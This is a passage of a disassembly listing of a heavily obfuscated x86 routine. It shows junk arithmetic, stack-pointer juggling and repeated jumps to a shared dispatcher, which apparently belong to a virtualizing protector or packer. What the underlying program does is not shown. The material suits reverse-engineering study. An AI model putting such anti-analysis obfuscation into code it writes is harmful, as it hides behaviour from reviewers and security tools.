loc_5933E0:				; CODE XREF: sub_58A891+78BAj
		push	ebx
		jmp	loc_591489
; ---------------------------------------------------------------------------


loc_5933E6:				; CODE XREF: sub_58A891+108E3j
		add	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp+12h+var_14+2], ebp
		push	[esp+12h+var_10+2]
		mov	ebp, [esp+16h+var_18+2]
		add	esp, 4
		pop	[esp+12h+var_14+2]
		pop	esp
		add	edi, 0A0B78FCh
		push	ecx
		push	6E456E59h
		mov	ecx, [esp+12h+var_14+2]
		sub	esp, 4
		jmp	loc_59BC3F
; ---------------------------------------------------------------------------


loc_593417:				; CODE XREF: sub_58A891+5EDEj
		dec	ax
		inc	ax
		jmp	loc_592009
; ---------------------------------------------------------------------------


loc_593420:				; CODE XREF: sub_58A891+6566j
		pop	ebx
		and	eax, esi
		pop	esi
		or	eax, eax
		jnz	loc_5975BA
		push	5362h
		mov	[esp+10h+var_10], ebx
		push	ebp
		mov	ebp, 5FE77741h
		dec	ebp
		jl	loc_59244E
		jmp	loc_5982FD
; ---------------------------------------------------------------------------


loc_593446:				; CODE XREF: sub_58A891:loc_59387Cj
		xor	dh, 0A3h
		mov	cl, dh
		pop	edx
		shl	cl, 5
		sub	cl, 1
		push	eax
		mov	al, 0D5h
		xor	cl, al
		pop	eax
		add	al, cl
		mov	ecx, [esp+10h+var_10]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 52BB354Ch
		jmp	loc_59A956
; ---------------------------------------------------------------------------


loc_59346B:				; CODE XREF: sub_58A891+5B98j
		add	[esp+10h+var_10], 4
		pop	edx
		add	edx, 4
		push	edi
		push	ecx
		mov	ecx, 50811779h
		add	ecx, 0AF7EE88Bh
		mov	edi, ecx
		jmp	loc_59B313
; ---------------------------------------------------------------------------


loc_59348D:				; CODE XREF: sub_58A891+DD68j
		jmp	loc_58EDCD
; ---------------------------------------------------------------------------


loc_593492:				; CODE XREF: sub_58A891+107A3j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+18h+var_18]
		pop	esp
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		jmp	loc_58E71C
; ---------------------------------------------------------------------------


loc_5934B1:				; CODE XREF: sub_58A891+C2B0j
		add	eax, ebx
		jmp	loc_5941EC
; ---------------------------------------------------------------------------


loc_5934B8:				; CODE XREF: sub_58A891+10D52j
		add	esi, 4
		xchg	esi, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		sub	[esp+18h+var_18], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5934CA:				; CODE XREF: sub_58A891+83CDj
		push	ebx
		mov	ebx, 4134336Ah
		jmp	loc_593174
; ---------------------------------------------------------------------------


loc_5934D5:				; CODE XREF: sub_58A891+628Ej
		xchg	edx, ecx
		sub	ecx, 1400633Bh
		sub	ecx, 0A42D8B08h
		mov	ebx, ecx
		pop	ecx
		sub	eax, 494620F7h
		sub	eax, 9541839h
		sub	eax, ebx
		push	ebx
		mov	ebx, 0B245045h
		push	ebp
		mov	ebp, 40ED0BEEh
		shr	ebp, 2
		add	ebp, 0FFFFFFFFh
		and	ebp, 3D2F08DBh
		inc	ebp
		neg	ebp
		sub	ebp, 838BA0A2h
		and	ebx, ebp
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		shr	ebx, 1
		jmp	loc_59AA69
; ---------------------------------------------------------------------------


loc_593525:				; CODE XREF: sub_58A891+10D6Cj
		sub	ecx, ebx
		pop	ebx
		dec	ecx
		push	edx
		push	ecx
		push	33DA7E65h
		pop	ecx
		xor	ecx, 58457404h
		mov	edx, ecx
		jmp	loc_59BB1B
; ---------------------------------------------------------------------------


loc_59353E:				; CODE XREF: sub_58A891+E6C1j
		mov	ebp, [esp+1Ch+var_1C]
		jmp	loc_59686F
; ---------------------------------------------------------------------------


loc_593546:				; CODE XREF: sub_58A891+B738j
		push	1516h
		mov	[esp+20h+var_20], edx
		jmp	loc_593CF3
; ---------------------------------------------------------------------------


loc_593553:				; CODE XREF: sub_58A891+89BAj
		pop	esi
		jmp	loc_596B2F
; ---------------------------------------------------------------------------


loc_593559:				; CODE XREF: sub_58A891+113B9j
		add	esi, 4
		jmp	loc_5903B3
; ---------------------------------------------------------------------------


loc_593564:				; CODE XREF: sub_58A891+1113Ej
		pop	edi
		add	edi, 4
		push	eax
		jmp	loc_58E8FA
; ---------------------------------------------------------------------------


loc_593571:				; CODE XREF: sub_58A891+75C6j
		pop	esi
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59357A:				; CODE XREF: sub_58A891+69CDj
		mov	esp, [esp+0]
		jmp	loc_597929
; ---------------------------------------------------------------------------


loc_593582:				; CODE XREF: sub_58A891+BB3Ej
		pop	esp
		bswap	eax
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_58F3EE
; ---------------------------------------------------------------------------


loc_593590:				; CODE XREF: sub_58A891+5C2Bj
		pop	edi
		pop	ebp
		push	eax
		push	esi
		jmp	loc_59B60A
; ---------------------------------------------------------------------------


loc_593599:				; CODE XREF: sub_58A891+106B3j
		xchg	ecx, [esp+1Ch+var_1C]
		pop	esp
		push	edi
		mov	edi, 7A45E14h
		add	edi, 16E4D713h
		sub	edx, edi
		pop	edi
		add	edx, 76B04E7h
		add	edx, eax
		sub	edx, 76B04E7h
		jmp	loc_5953A6
; ---------------------------------------------------------------------------


loc_5935BF:				; CODE XREF: sub_58A891+86F7j
		add	esi, 4
		push	1978h
		jmp	loc_58EABC
; ---------------------------------------------------------------------------


loc_5935CF:				; CODE XREF: sub_58A891+E5EDj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_40], ecx
		push	esp
		mov	ecx, [esp+44h+var_46+2]
		jmp	loc_591726
; ---------------------------------------------------------------------------


loc_5935EB:				; CODE XREF: sub_58A891+B18Bj
		mov	esi, 63AD7816h
		jmp	loc_596441
; ---------------------------------------------------------------------------


loc_5935F5:				; DATA XREF: sub_58A891+3B5Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp+6+var_8+2], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593604:				; CODE XREF: sub_58A891+9C68j
		push	bx
		mov	bh, 4Ah
		sub	ch, bh
		pop	bx
		add	al, ch
		jmp	loc_595C4E
; ---------------------------------------------------------------------------


loc_593613:				; CODE XREF: sub_58A891+B72Dj
		or	eax, eax
		jz	loc_59900B
		push	57BBh
		jmp	loc_59AC4B
; ---------------------------------------------------------------------------


loc_593625:				; CODE XREF: sub_58A891+EA63j
		sub	ah, 0EBh
		shr	ah, 1
		jns	loc_5971F0
		xor	ah, 0BEh
		dec	ah
		jg	loc_599BBB
		and	ah, 0E1h
		pop	ecx


loc_59363F:				; CODE XREF: sub_58A891+86D9j
		add	esp, 4
		xchg	edx, [esp+6+var_8+2]
		pop	esp
		shl	[esp+2+var_4+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593652:				; DATA XREF: sub_58A891+3B4Bo
		xor	byte ptr [esp+8+var_8],	bl
		jmp	loc_593B2D
; ---------------------------------------------------------------------------


loc_59365A:				; CODE XREF: sub_58A891+11199j
		or	al, 0DFh
		add	al, 0E0h
		xor	cl, al
		jmp	loc_597CB0
; ---------------------------------------------------------------------------


loc_593665:				; CODE XREF: sub_58A891+A036j
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		jmp	loc_5920B8
; ---------------------------------------------------------------------------


loc_59367F:				; CODE XREF: sub_58A891+92E2j
		shl	edx, 1
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	esp
		jmp	loc_598502
; ---------------------------------------------------------------------------


loc_59368D:				; DATA XREF: sub_58A891+3B2Bo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ecx
		push	ebp
		push	ecx
		jmp	loc_58EFA2
; ---------------------------------------------------------------------------


loc_59369B:				; CODE XREF: sub_58A891+3E39j
		xor	[esp+48h+var_4A+2], 77F40F53h
		pop	eax
		xor	eax, 77F40F53h
		pop	ebp
		jmp	loc_58F211
; ---------------------------------------------------------------------------


loc_5936AE:				; CODE XREF: sub_58A891+ECC5j
		xchg	ebp, [esp+40h+var_40]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		xchg	eax, ebx
		push	ebx
		push	ebp
		jmp	loc_59980B
; ---------------------------------------------------------------------------


loc_5936BF:				; CODE XREF: sub_58A891+990Ej
		mov	edx, [esp+44h+var_46+2]
		jmp	loc_595538
; ---------------------------------------------------------------------------


loc_5936C7:				; CODE XREF: sub_58A891+B014j
		jmp	loc_58E595
; ---------------------------------------------------------------------------


loc_5936CC:				; CODE XREF: sub_58A891+C1CEj
		mov	[esp+44h+var_46+2], eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5936D4:				; CODE XREF: sub_58A891+8337j
		sub	esp, 4
		mov	[esp+0], edi
		push	[esp+50h+var_4E+2]
		jmp	loc_592083
; ---------------------------------------------------------------------------


loc_5936E6:				; CODE XREF: sub_58A891+1075Dj
		pop	ebx
		jmp	loc_595380
; ---------------------------------------------------------------------------


loc_5936EC:				; CODE XREF: sub_58A891+759Bj
		add	esp, 4
		push	467Ch
		mov	[esp+34h+var_34], eax
		jmp	loc_59A12A
; ---------------------------------------------------------------------------


loc_5936FC:				; CODE XREF: sub_58A891+43E1j
		pop	esi
		jmp	loc_597E5C
; ---------------------------------------------------------------------------


loc_593702:				; CODE XREF: sub_58A891+9946j
		add	esi, 1D3C1437h
		jb	loc_591689
		jmp	loc_599F25
; ---------------------------------------------------------------------------


loc_593713:				; DATA XREF: sub_58A891+39B3o
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_59421F
; ---------------------------------------------------------------------------


loc_59371C:				; CODE XREF: sub_58A891+E388j
		pop	esp
		jmp	loc_59B20E
; ---------------------------------------------------------------------------


loc_593722:				; CODE XREF: sub_58A891+7383j
		sub	dh, bl
		jmp	loc_590BA8
; ---------------------------------------------------------------------------


loc_593729:				; DATA XREF: sub_58A891+3A17o
		lodsb
		add	al, 39h
		add	al, 0EEh
		jmp	loc_59A374
; ---------------------------------------------------------------------------


loc_593733:				; CODE XREF: sub_58A891+C477j
		pop	ebp
		jmp	loc_5950D8
; ---------------------------------------------------------------------------


loc_593739:				; CODE XREF: sub_58A891+5DAEj
		push	[esp+3Ch+var_3C]
		jmp	loc_5981A3
; ---------------------------------------------------------------------------


loc_593741:				; CODE XREF: sub_58A891+4BCEj
		push	19C9h
		mov	[esp+48h+var_4A+2], edx
		push	eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593750:				; CODE XREF: sub_58A891+DE16j
					; sub_58A891+E3C4j
		mov	[esp+0], ebx
		mov	ebx, 1
		and	eax, ebx
		mov	ebx, [esp+0]
		push	eax
		push	esp
		pop	eax
		push	edx
		jmp	loc_594292
; ---------------------------------------------------------------------------


loc_593766:				; CODE XREF: sub_58A891+B022j
					; sub_58A891+D672j
		xchg	ecx, [esp+58h+var_58]
		jmp	loc_5997F5
; ---------------------------------------------------------------------------


loc_59376E:				; CODE XREF: sub_58A891+F74Bj
		mov	edx, 4
		add	edi, edx
		jmp	loc_59A87F
; ---------------------------------------------------------------------------


loc_59377A:				; CODE XREF: sub_58A891+595Cj
		sub	ecx, 65C122F9h
		push	edx
		jmp	loc_5906FC
; ---------------------------------------------------------------------------


loc_593786:				; CODE XREF: sub_58A891+E92Fj
		xor	esi, ebx
		pop	ebx
		sub	[edi+24h], esi
		jmp	loc_5957E6
; ---------------------------------------------------------------------------


loc_593791:				; CODE XREF: sub_58A891+57EEj
		push	dx
		not	byte ptr [esp+22h+var_24+3]
		pop	dx
		xor	dh, 0B5h
		mov	al, dh
		pop	edx
		sub	al, 41h
		sub	al, dl
		add	al, 41h
		pop	edx
		add	al, 5Eh
		sub	bl, al
		pop	eax
		movzx	eax, al
		jmp	loc_58F9EB
; ---------------------------------------------------------------------------


loc_5937B3:				; CODE XREF: sub_58A891+AB5Ej
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_592542
; ---------------------------------------------------------------------------


loc_5937C0:				; CODE XREF: sub_58A891+77FEj
		pop	esp
		mov	eax, [esp+0]
		jmp	loc_599877
; ---------------------------------------------------------------------------


loc_5937C9:				; DATA XREF: sub_58A891+39ABo
		mov	cx, word ptr [esp+8+var_8]
		push	edi
		mov	edi, esp
		push	edx
		jmp	loc_5976BA
; ---------------------------------------------------------------------------


loc_5937D6:				; CODE XREF: sub_58A891+109AFj
		dec	edx
		jns	loc_58F7CE
		xor	edx, 2C9F3E2Dh
		jmp	loc_595AB6
; ---------------------------------------------------------------------------


loc_5937E8:				; CODE XREF: sub_58A891+F73Dj
		pop	eax
		jmp	loc_5920DD
; ---------------------------------------------------------------------------


loc_5937EE:				; CODE XREF: sub_58A891+3F69j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+44h+var_46+2]
		pop	esp
		jmp	loc_591118
; ---------------------------------------------------------------------------


loc_593806:				; CODE XREF: sub_58A891+B4DFj
		push	ebp
		mov	ebp, esp
		jmp	loc_58EE53
; ---------------------------------------------------------------------------


loc_59380E:				; CODE XREF: sub_58A891+BE19j
		pop	ebx
		push	7F1Dh
		mov	[esp+44h+var_46+2], edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_593371
; ---------------------------------------------------------------------------


loc_593823:				; CODE XREF: sub_58A891+9935j
		push	ecx
		pop	esi
		mov	ecx, [esp+44h+var_46+2]
		add	esp, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], edi
		xor	edi, [esp+3Ch+var_3C]
		mov	esp, [esp+3Ch+var_3C]
		cmp	ecx, eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593845:				; CODE XREF: sub_58A891+71AEj
		push	72D7h
		mov	[esp+54h+var_54], esp
		push	ecx
		mov	ecx, 4
		add	[esp+58h+var_54], ecx
		pop	ecx
		push	[esp+54h+var_54]
		pop	ebx
		jmp	loc_590A09
; ---------------------------------------------------------------------------


loc_593861:				; CODE XREF: sub_58A891+F786j
		add	ebp, 60698F44h
		mov	edx, ebp
		pop	ebp
		or	edx, 4CE5377Ah
		jbe	loc_5978F0
		inc	edx
		jmp	loc_590EA6
; ---------------------------------------------------------------------------


loc_59387C:				; CODE XREF: sub_58A891+112A8j
		js	loc_593446
		xor	dh, 0A3h
		mov	cl, dh
		pop	edx
		shl	cl, 5
		pop	edi


loc_59388C:				; CODE XREF: sub_58A891+106CAj
		add	edi, ebp
		pop	ebp
		sub	edi, 2
		xor	edi, [esp+44h+var_46+2]
		jmp	loc_593E5E
; ---------------------------------------------------------------------------


loc_59389D:				; CODE XREF: sub_58A891+49BDj
		add	esp, 4
		push	ebp
		mov	ebp, 1F0E1A1Fh
		or	ebp, 5E72615h
		jmp	loc_59A9F3
; ---------------------------------------------------------------------------


loc_5938B4:				; CODE XREF: sub_58A891+EA46j
		xor	eax, 18B84BF8h
		neg	eax
		jmp	loc_59AB61
; ---------------------------------------------------------------------------


loc_5938C0:				; CODE XREF: sub_58A891+657Aj
		add	ecx, 4
		push	ecx
		jmp	loc_58FB49
; ---------------------------------------------------------------------------


loc_5938C9:				; CODE XREF: sub_58A891+F08Bj
		push	[esp+10h+var_10]
		pop	edx
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp+14h+var_14]
		pop	esp
		xor	eax, edi
		pop	edi
		jmp	loc_59AE88
; ---------------------------------------------------------------------------


loc_5938EB:				; CODE XREF: sub_58A891+E088j
		sub	eax, edi
		add	eax, 3D055E93h
		pop	edi
		jmp	loc_58F80F
; ---------------------------------------------------------------------------


loc_5938F8:				; CODE XREF: sub_58A891+B1B1j
		pop	ecx
		sub	eax, 12C67A02h
		sub	eax, edx
		add	eax, 12C67A02h
		pop	edx
		push	edi
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	4E941BA9h
		pop	esi
		jmp	loc_5974FE
; ---------------------------------------------------------------------------


loc_59391B:				; CODE XREF: sub_58A891+6D1Cj
		add	eax, 6A979D06h
		add	ebp, eax
		pop	eax
		pop	ebx
		add	ebp, 2
		xor	ebp, [esp+10h+var_10]
		xor	[esp+10h+var_10], ebp
		jmp	loc_592CB7
; ---------------------------------------------------------------------------


loc_593932:				; CODE XREF: sub_58A891+45E5j
		mov	[esp-0Ch+arg_4], ecx
		push	edx
		jmp	loc_58F253
; ---------------------------------------------------------------------------


loc_59393B:				; CODE XREF: sub_58A891+A452j
		add	esi, edx
		mov	edx, [esp-8+arg_0]
		add	esp, 4
		and	esi, 11E2370Bh
		push	ebp
		mov	ebp, 20F279E2h
		and	ebp, 3F7518DEh
		not	ebp
		add	ebp, 0BBA9E269h
		jmp	loc_58E5A4
; ---------------------------------------------------------------------------


loc_593962:				; CODE XREF: sub_58A891:loc_596C00j
		push	cx
		jmp	loc_597520
; ---------------------------------------------------------------------------


loc_593969:				; CODE XREF: sub_58A891+9EFCj
		mov	dh, ch
		mov	ah, dh
		pop	edx
		pop	cx
		xchg	ah, bh
		push	edx
		mov	dl, 97h
		push	cx
		mov	cl, 1
		add	dl, 27h
		add	dl, 46h
		add	dl, cl
		sub	dl, 46h
		sub	dl, 27h
		pop	cx
		jmp	loc_591BBE
; ---------------------------------------------------------------------------


loc_59398E:				; CODE XREF: sub_58A891+CF09j
		sub	eax, ebp
		sub	eax, 44C82723h
		jmp	loc_59755C
; ---------------------------------------------------------------------------


loc_59399A:				; CODE XREF: sub_58A891+441Cj
		mov	ebp, [esp+0]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+0]
		xor	[esp+0], edi
		jmp	loc_597D95
; ---------------------------------------------------------------------------


loc_5939B4:				; CODE XREF: sub_58A891+416Ej
		xor	ebp, 5DB6CF6Ah
		mov	edx, ebp
		pop	ebp
		add	edx, 2C050C7Bh
		jmp	loc_59246D
; ---------------------------------------------------------------------------


loc_5939C8:				; CODE XREF: sub_58A891+AD26j
		shl	ah, 2
		shl	ah, 4
		push	bx
		jmp	loc_5954ED
; ---------------------------------------------------------------------------


loc_5939D5:				; CODE XREF: sub_58A891+7E9Aj
		sub	esi, 0BD916FD9h
		add	ecx, esi
		jmp	loc_597EFF
; ---------------------------------------------------------------------------


loc_5939E2:				; CODE XREF: sub_58A891+FD9Cj
		mov	ecx, 4869512Eh
		not	ecx
		jmp	loc_5915FE
; ---------------------------------------------------------------------------


loc_5939EE:				; CODE XREF: sub_58A891+F3E9j
		sub	esp, 4
		jmp	loc_59A3B0
; ---------------------------------------------------------------------------


loc_5939F6:				; CODE XREF: sub_58A891+C752j
		pop	esi
		and	esi, 43657998h
		or	esi, 1E053852h
		xor	esi, 1F65785Eh
		add	eax, esi
		mov	esi, [esp+48h+var_4A+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4Ch+var_4E+2]
		jmp	loc_594B37
; ---------------------------------------------------------------------------


loc_593A21:				; CODE XREF: sub_58A891+B876j
		add	esp, 4
		jmp	loc_58EFC8
; ---------------------------------------------------------------------------


loc_593A2C:				; CODE XREF: sub_58A891+BFCEj
		push	65A1h
		mov	[esp+4Ch+var_4E+2], edx
		mov	edx, 2E1E32EEh
		sub	esp, 4
		jmp	loc_59B905
; ---------------------------------------------------------------------------


loc_593A41:				; CODE XREF: sub_58A891+FD1Dj
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58F4A7
; ---------------------------------------------------------------------------


loc_593A50:				; CODE XREF: sub_58A891+CDBCj
		push	edx
		push	ebp
		mov	ebp, 788B1B53h
		push	ecx
		mov	ecx, 730C28B0h
		add	ebp, ecx
		pop	ecx
		shl	ebp, 8
		dec	ebp
		jnz	loc_592660
		jmp	loc_591DCE
; ---------------------------------------------------------------------------
		xor	edi, 0EB17897Ah
		add	ebp, edi
		mov	cl, ch


loc_593A79:				; CODE XREF: sub_58A891+AA2Bj
		xor	ebx, 1A940AB3h
		add	ebx, 683EC3D6h
		mov	esi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 6982621Bh
		sub	esp, 4
		mov	[esp+5Ch+var_5C], esi
		mov	esi, 0FFD4E3Bh
		sub	ebp, esi
		pop	esi
		jmp	loc_59896D
; ---------------------------------------------------------------------------


loc_593AA4:				; CODE XREF: sub_58A891+4958j
		xor	ebp, 48342F89h
		mov	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 358B263Ah
		neg	eax
		dec	eax
		sub	eax, 34525095h
		jmp	loc_58EE41
; ---------------------------------------------------------------------------


loc_593AC0:				; CODE XREF: sub_58A891+6E90j
		push	ebx
		jmp	loc_591281
; ---------------------------------------------------------------------------


loc_593AC6:				; CODE XREF: sub_58A891+7435j
		add	eax, esi
		pop	esi
		xor	eax, [esp+38h+var_38]
		xor	[esp+38h+var_38], eax
		xor	eax, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		test	cl, al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593ADD:				; CODE XREF: sub_58A891+ADD9j
		shr	esi, 6
		sub	esi, 7BAB5C4Ch
		jmp	loc_5955D6
; ---------------------------------------------------------------------------


loc_593AEB:				; CODE XREF: sub_58A891+F342j
		push	ebx
		push	edx
		mov	edx, 1D3F15FBh
		jmp	loc_58F027
; ---------------------------------------------------------------------------


loc_593AF7:				; CODE XREF: sub_58A891+4A03j
		push	ebx
		mov	ebx, 35304110h
		sub	ebx, 77AA32E1h
		add	ebx, 4279F1D5h
		add	ebp, ebx
		jmp	loc_596305
; ---------------------------------------------------------------------------


loc_593B10:				; CODE XREF: sub_58A891+74E7j
		add	ebx, 43693D51h
		sub	ebx, 79FA5AE8h
		push	ebp
		mov	ebp, 65881A97h
		xor	ebp, 76BA66E9h
		jmp	loc_5991A8
; ---------------------------------------------------------------------------


loc_593B2D:				; CODE XREF: sub_58A891+8DC4j
		xor	bl, byte ptr [esp+8+var_8]
		xor	byte ptr [esp+8+var_8],	bl
		xchg	dh, bl
		push	ecx
		mov	cl, dh
		not	cl
		mov	dh, cl
		pop	ecx
		jmp	loc_594650
; ---------------------------------------------------------------------------


loc_593B42:				; CODE XREF: sub_58A891+10F47j
		mov	ebp, [esp+8+var_8]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		or	edx, eax
		jmp	loc_58F7B5
; ---------------------------------------------------------------------------


loc_593B61:				; CODE XREF: sub_58A891+5D39j
		xchg	edi, [esp+3Ch+var_3C]
		pop	esp
		and	eax, ebx
		push	[esp+38h+var_38]
		pop	ebx
		add	esp, 4
		or	edx, eax
		jmp	loc_59367F
; ---------------------------------------------------------------------------


loc_593B78:				; CODE XREF: sub_58A891+A28Aj
					; sub_58A891:loc_5980BCj
		sub	al, dh
		pop	edx
		jmp	loc_5905E6
; ---------------------------------------------------------------------------


loc_593B80:				; DATA XREF: sub_58A891+3BBBo
		mov	ax, word ptr [esp+8+var_8]
		push	7092h
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		add	ebp, 4
		push	55C8h
		mov	[esp+10h+var_10], edx
		jmp	loc_59726E
; ---------------------------------------------------------------------------


loc_593BA1:				; DATA XREF: sub_58A891+3BC7o
		sub	esp, 4
		jmp	loc_5980AB
; ---------------------------------------------------------------------------


loc_593BA9:				; CODE XREF: sub_58A891+509Dj
		push	small 0C31h
		mov	word ptr [esp+4+var_4],	ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593BB6:				; CODE XREF: sub_58A891+5715j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4Ch+var_4E+2]
		pop	esp
		jmp	loc_598FAF
; ---------------------------------------------------------------------------


loc_593BCE:				; CODE XREF: sub_58A891+F246j
		shr	bl, 6
		jnp	loc_599101
		xor	bl, 4Ch
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], ecx
		push	eax
		mov	al, bl
		mov	ch, al
		pop	eax
		neg	ch
		jmp	loc_590D9F
; ---------------------------------------------------------------------------


loc_593BF0:				; CODE XREF: sub_58A891+C77Aj
		add	ecx, 2E357A63h
		mov	ebx, ecx
		pop	ecx
		xor	ebx, 31503CB1h
		push	edx
		jmp	loc_5900CF
; ---------------------------------------------------------------------------


loc_593C05:				; CODE XREF: sub_58A891+4F83j
					; sub_58A891+CB6Dj
		sub	eax, edi
		sub	eax, 3C1C7E9Dh
		push	edx
		mov	edx, 15EA06AEh
		add	eax, edx
		pop	edx
		pop	edi
		jmp	loc_592C0F
; ---------------------------------------------------------------------------


loc_593C1B:				; CODE XREF: sub_58A891:loc_599700j
		shr	edi, 5
		sub	edi, 48AF26E1h
		jns	loc_59B8BD
		sub	edi, 0B84515AAh
		mov	ebx, edi
		jmp	loc_594438
; ---------------------------------------------------------------------------


loc_593C37:				; CODE XREF: sub_58A891+576Ej
		mov	ecx, 0C1C1CA14h
		sub	ebp, 4F072DBFh
		sub	ebp, ecx
		jmp	loc_58FC3C
; ---------------------------------------------------------------------------


loc_593C49:				; CODE XREF: sub_58A891+3E5Aj
		pop	edi
		jmp	loc_599FDB
; ---------------------------------------------------------------------------


loc_593C4F:				; CODE XREF: sub_58A891+58B7j
					; sub_58A891+AF5Fj
		push	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_46+2], ebp
		jmp	loc_595D80
; ---------------------------------------------------------------------------


loc_593C68:				; CODE XREF: sub_58A891+93F8j
		mov	edx, 740A51E3h
		jmp	loc_593250
; ---------------------------------------------------------------------------


loc_593C72:				; CODE XREF: sub_58A891+B6C0j
		neg	eax
		sub	eax, 0A544C8A7h
		sub	edx, eax
		pop	eax
		jmp	loc_58F582
; ---------------------------------------------------------------------------


loc_593C81:				; CODE XREF: sub_58A891+F8BFj
		pop	ebx
		sub	esp, 4
		mov	[esp+40h+var_40], eax
		push	edx
		jmp	loc_593C68
; ---------------------------------------------------------------------------


loc_593C8E:				; CODE XREF: sub_58A891+9ED1j
		push	ecx
		mov	ecx, 244E1D87h
		and	ecx, 5F3F6F1Bh
		shr	ecx, 8
		inc	ecx
		neg	ecx
		xor	ecx, 0DAE423Bh
		sub	ecx, 0F255B3C5h
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+44h+var_46+2]
		jmp	loc_59A304
; ---------------------------------------------------------------------------


loc_593CB7:				; CODE XREF: sub_58A891+BEACj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593CBC:				; CODE XREF: sub_58A891+4AEEj
		jg	loc_59AD6E
		xor	eax, 82BBE605h
		shr	eax, 4
		jmp	loc_5976D5
; ---------------------------------------------------------------------------


loc_593CCF:				; CODE XREF: sub_58A891+83F6j
		mov	[esp+0Ch+var_C], edx
		mov	dh, 2Eh
		shr	dh, 3
		push	eax
		jmp	loc_59A834
; ---------------------------------------------------------------------------


loc_593CDD:				; CODE XREF: sub_58A891+4815j
		xor	eax, 3F3BDBFDh
		jmp	loc_595404
; ---------------------------------------------------------------------------


loc_593CE7:				; CODE XREF: sub_58A891+773Dj
		mov	ebx, 2F426D2Bh
		add	ebp, ebx
		jmp	loc_593D58
; ---------------------------------------------------------------------------


loc_593CF3:				; CODE XREF: sub_58A891+8CBDj
		push	eax
		push	ecx
		jmp	loc_597033
; ---------------------------------------------------------------------------


loc_593CFA:				; CODE XREF: sub_58A891+95E6j
		pop	esp
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593D04:				; CODE XREF: sub_58A891+513Bj
		mov	ebp, esp
		add	ebp, 4
		push	edx
		push	esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		sub	ebp, 39D44818h
		add	ebp, edx
		add	ebp, 39D44818h
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		xchg	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		pop	[esp+18h+var_18]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593D3B:				; CODE XREF: sub_58A891+8881j
		add	cl, 0F9h
		add	bh, cl
		jmp	loc_58E9A0
; ---------------------------------------------------------------------------


loc_593D45:				; CODE XREF: sub_58A891+10AF2j
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		push	0F50h
		jmp	loc_59A0C8
; ---------------------------------------------------------------------------


loc_593D58:				; CODE XREF: sub_58A891+945Dj
		pop	ebx
		mov	ecx, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_58E5DC
; ---------------------------------------------------------------------------


loc_593D67:				; CODE XREF: sub_58A891+F388j
		mov	edi, 31C815BAh
		mov	ebp, edi
		jmp	loc_590D85
; ---------------------------------------------------------------------------


loc_593D73:				; CODE XREF: sub_58A891+4AC7j
		pop	esp
		mov	word ptr [esp+28h+var_28], cx
		jmp	loc_595E63
; ---------------------------------------------------------------------------


loc_593D7D:				; CODE XREF: sub_58A891+104F0j
		sub	ebp, 69055E2Eh
		add	ebp, 17C9235Ah
		add	ebp, edx
		push	esi
		jmp	loc_598C02
; ---------------------------------------------------------------------------


loc_593D91:				; CODE XREF: sub_58A891+E5A3j
		mov	edi, 6401277Ah
		sub	edi, 1589F4D6h
